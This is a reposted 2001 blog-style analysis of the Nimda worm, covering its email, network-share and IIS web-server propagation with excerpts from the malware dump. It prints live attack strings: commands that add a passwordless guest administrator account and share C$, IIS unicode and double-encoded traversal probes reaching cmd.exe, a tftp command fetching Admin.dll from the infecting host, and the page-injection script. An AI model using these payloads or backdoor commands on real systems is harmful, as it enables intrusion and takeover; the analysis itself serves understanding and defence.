These are old blog posts/emails I wrote during my IITM and IIMC days and retrieved in 2020 via Waybackmachine. I had a backup of them on a couple of DVD which my friends misplaced :/.
Introduction:
Of late there have been a spate of attacks on web servers running Microsoft IIS (different versions). Starting with code red they have used a new style of attack known as “distributed coordinated attacks” these new styles are particularly good at defeating present-day defenses against those intent on stopping Internet traffic to a particular company or Internet service — a result known as denial of service. The latest among these type of attacks has been using the Nimda worm. Luckily, I have been able to lay hands on this one, both as a user of mail, PC and as an administrator of a web server. How this worm works is discussed in this article.
I am giving the dump from the readme.exe in a different font wherever necessary.
Name : Nimda, Code Rainbow, Minda, Concept Virus (CV) v.5 etc.,
Concept Virus(CV) V.5, Copyright(C)2001 R.P.China
The above text exists in the dump but is not displayed anywhere during the execution of the worm.
Affected systems: Systems running Microsoft Windows 9x, 2k, ME and NT.
Nimda — Admin backwards (Righard Zwienenberg, a senior research engineer with Norway’s Norman Data Defense, named it Nimda reverse of Admin as the virus attempts to transfer a file called Admin.dll)– only infects computers running a Microsoft operating system and Microsoft’s e-mail, Web browser or Web server applications.
Nimda combines the worst features of Code Red and SirCam, two worms that have successfully spread across the Internet since June. Using previous worms’ proven infection techniques — along with some new twists — Nimda was able to spread at a ferocious pace.
The worm was first identified in the United States around 9 a.m. ET Tuesday. The coincidence of that time and day with last Tuesday’s terrorist attacks initially led some to believe that the worm might be part of a cyberattack against the United States. As far as I India is concerned it attacked the site I am concerned with at about 6:30 pm IST.
Propagation Mechanism:
- Web server to Webserver – exploits of Microsoft IIS vulnerabilities.
- Web server to Client – browsing the compromised web site.
- Client to Client
- Email.
- Open network shares.
- Client to Webserver – exploits of Microsoft IIS vulnerabilities.
Email Propagation:
MIME-Version: 1.0
Content-Type: multipart/related;
type="multipart/alternative";
boundary="====_ABC1234567890DEF_===="
X-Priority: 3
X-MSMail-Priority: Normal
X-Unsent: 1
--====_ABC1234567890DEF_====
Content-Type: multipart/alternative;
boundary="====_ABC0987654321DEF_===="
--====_ABC0987654321DEF_====
Content-Type: text/html;
charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
<HTML><HEAD></HEAD><BODY bgColor=3D#ffffff>
<iframe src=3Dcid:EA4DMGBP9p height=3D0 width=3D0>
</iframe></BODY></HTML>
--====_ABC0987654321DEF_====--
--====_ABC1234567890DEF_====
Content-Type: audio/x-wav;
name="readme.exe";
Content-Transfer-Encoding: base64
Content-ID:
This worm propagates through email arriving as a MIME “multipart/alternative” message consisting of two sections. The first section is defined as MIME type “text/html”, but it contains no text, so the email appears to have no content. The second section is defined as MIME type “audio/x-wav”, but it contains a base64-encoded attachment named “readme.exe”, which is a binary executable. The worm appears as an html file when saved(more update on this later)
Due to a vulnerability (Automatic Execution of Embedded MIME Types), any mail software running on an x86 platform that uses Microsoft Internet Explorer 5.5 SP1 or earlier (except IE 5.01 SP2) to render the HTML mail automatically runs the enclosed attachment and, as result, infects the machine with the worm. Thus, in vulnerable configurations, the worm payload will automatically be triggered by simply opening (or previewing) this mail message. As an executable binary, the payload can also be triggered by simply running the attachment.
The email addresses targeted for receiving the worm are harvested from two sources
- the .htm and .html files in the user’s web cache folder
- the contents of the user’s email messages retrieved via the MAPI service
MAPILogoff
MAPISendMail
MAPIFreeBuffer
MAPIReadMail
MAPIFindNext
MAPIResolveName
MAPILogon
MAPI32.DLL
These files are passed through a simple pattern matcher which collects strings that look like email addresses. These addresses then receive a copy of the worm as a MIME-encoded email attachment. Nimda stores the time the last batch of emails were sent in the Windows registry, and every 10 days will repeat the process of harvesting addresses and sending the worm via email. The way in which it composes the mail is as follows.
Software\Microsoft\Windows\CurrentVersion\Explorer\MapMail
QUIT
Subject:
From: <
DATA
RCPT TO: <
MAIL FROM: <
HELO
aabbcc
-dontrunold
NULL
\readme*.exe
LAN/file Share Attacks:
share c$=c:\
user guest ""
localgroup Administrators guest /add
localgroup Guests guest /add
user guest /active
open
user guest /add
net%%20use%%20\\%s\ipc$%%20""%%20/user:"guest"
The worm adds the “guest” account to compromised systems with no password and puts it in the Guest and Administrators groups. This opens a system up for anyone to login and take complete control of a system. The worm also opens the full C drive for sharing to anyone. After opening up the compromised system, the worm looks for other networked systems with shares that it can open. When it finds open shares, it attempts to spread itself by planting copies of the infected e-mail message and an infected copy of RICHED20.DLL in the shares. The library RICHED20.DLL is used by Word, Wordpad, and Outlook. If the owner of the share opens the infected e-mail or opens a Word, Wordpad, or Outlook document in that directory, the shared machine will be compromised.
Web Server Attacks:
After the worm is established in a system, it searches for web servers and tries a series of directory traversal, unicode, and other attacks. It also attempts to exploit changes made to a system by prior CodeRed II attacks. If the attack is successful, the worm attaches code to the ends of a random list of web pages on the server that attempt to exploit the same Internet Explorer vulnerability as was used in the mass e-mail attack. Anyone viewing these web pages with a vulnerable web browser will be infected with the worm. When a directory containing web content (e.g., HTML or ASP files) is found, the following snippet of Javascript code is appended to every one of these web-related files:
<html><script language="JavaScript">window.open("readme.eml",
null, "resizable=no,top=6000,left=6000")</script></html>
The selection of potential target IP addresses follows these rough probabilities:
- 50% of the time, an address with the same first two octets will be chosen
- 25% of the time, an address with the same first octet will be chosen
- 25% of the time, a random address will be chosen
Once running on the server machine, the worm traverses each directory in the system (including all those accessible through file shares) and writes a MIME-encoded copy of itself to disk using file names with .eml or .nws extensions (e.g., readme.eml)
A short example of the web server probes launched by the worm is shown below. These logs were captured by an Apache web server. Note that the pattern repeats itself; some reports indicate that the 16-probe sequence will be repeated against a single target as many as 13 times.
The last two lines in the attacks shown below are attempting to exploit the root.exe backdoor left by Code Red II or possibly Sadmind infections. The next set of two attacks are also targeting Code Red II backdoors where the root C: and D: drives are mapped to IIS virtual folders, allowing access to cmd.exe.
The fifth line onwards are a set of probes attempting to exploit the “IIS/PWS Extended Unicode Directory Traversal Vulnerability”. In this case, IIS has an input validation problem that causes it to allow directory traversal if the “/” and “\” characters are encoded with their unicode equivalents. “%c0%af” and “%c1%9c” are overly long unicode representations of the “/” and “\” characters. IIs evidently decodes unicode characters after path checking rather than before. The “%c1%1c” and “%c0%2f” strings are believed to be the “/” and “\” equivalents from the Chinese unicode character set.
The set of probes containing the “%255c” characters, are attempting to exploit the “IIS/PWS Escaped Character Decoding Command Execution Vulnerability”. In this attack, the problem arises because a vulnerable server attempts to decode the requested pathname twice. The result of the first decode is passed to the security checker. If the security check succeeds, the results of the first decode are mistakenly decoded yet again (and are not security checked). For example, if an attacker wanted to pass in the “\” character, he could encode the character as “%5c”. However, the security checker will decode the string correctly and reject the request. In order to exploit the double-decode vulnerability, the attacker goes on to encode the “%5c” string itself.
Thus, the attacker can double encode the “\” character as “%25%35%63”. He can alternatively choose to only double encode only one or two of the %,5,c characters and still pass the security check. Possible double encoding variations are: “%25%35c”, “%255c”, “%%35%63”, “%%35c”,”%5%63″. In these cases, the result of the first decode is then “%5c” (which does not trip the security checker), but when “%5c” is decoded the second time the “\” character results. This final result of “\” is what is interpreted by the system. In these examples, the “\” character is used to access the cmd.exe via a pathname relative to directories that are executable the web server. Note that %252f is a double encoding variation for the “/” character.
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
/winnt/system32/cmd.exe?/c+
The infected client machine attempts to transfer a copy of the Nimda code via tftp (69/UDP) to any IIS server that it scans and finds to be vulnerable. It uses tftp to fetch a binary called Admin.dll from the infecting host. On a compromised webserver you will find files with names Tftp.XXX invariably created by this worm. The following string is embedded in the worm executable:
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
Admin.dll
c:\Admin.dll
d:\Admin.dll
e:\Admin.dll
<html><script language="JavaScript">window.open("readme.eml",
null, "resizable=no,top=6000,left=6000")</script></html>
/Admin.dll
GET %s HTTP/1.0
Host: www
Connnection: close
Resource Consumption:
The worm appears to launch up to 200 threads for scanning the network which can place considerable load on the infected machine as well as the network. ARPs generated by a machine that is scanning, or DNS requests generated by a machine sending Nimda emails, can cause problems that manifest as apparent denial of service attack.
CreateThread
SetThreadPriority
GetCurrentThread
CreateRemoteThread
% User Time
% Privileged Time
% Processor Time
Changes in the file system:
The worm infects numerous binaries on a victim system, such that any time one of the infected executables is run the worm is launched. In addition, the worm positions itself in such a way that when document files are opened the worm code is loaded as a DLL. The vulnerability exploited in the latter case is the “Microsoft Office 2000 DLL Execution Vulnerability”
System\CurrentControlSet\Services\VxD\MSTCP
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\
SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces
Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
SYSTEM\CurrentControlSet\Services\lanmanserver\Shares\Security
Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
software\microsoft\windows nt\currentversion\perflib\009
software\microsoft\windows nt\currentversion\perflib
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\
SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths
SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\X$
SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan\
SOFTWARE\Microsoft\Windows\CurrentVersion\Network\LanMan
SYSTEM\CurrentControlSet\Services\lanmanserver\Shares
Software\Microsoft\Windows\CurrentVersion\Explorer\MapMail
Registry manipulation include:
RegCloseKey
RegQueryValueExA
RegOpenKeyExA
RegEnumKeyExA
RegCreateKeyExA
RegDeleteKeyA
RegEnumValueA
RegSetValueExA
RegQueryValueA
The DLL files it uses/affects:
ADVAPI32.dll
KERNEL32.dll
Admin.dll
riched20.dll
ws2_32.dll
MPR.DLL
SHELL32.DLL
Clean Up
All the anti-virus company sites have detailed information about the various methods to clean the system.
Credits and links
Much of the above information has been picked from various security sites. I have added additional info and also given a generous sprinkle of the dump to explain the concepts better. Still interested about the topic? Follow any of the following links
Anti-virus vendor’s information:
The Bug trackers
Special credits to Bugtraq and CERT which kept posting these vulnerabilities for some one to exploit ;).
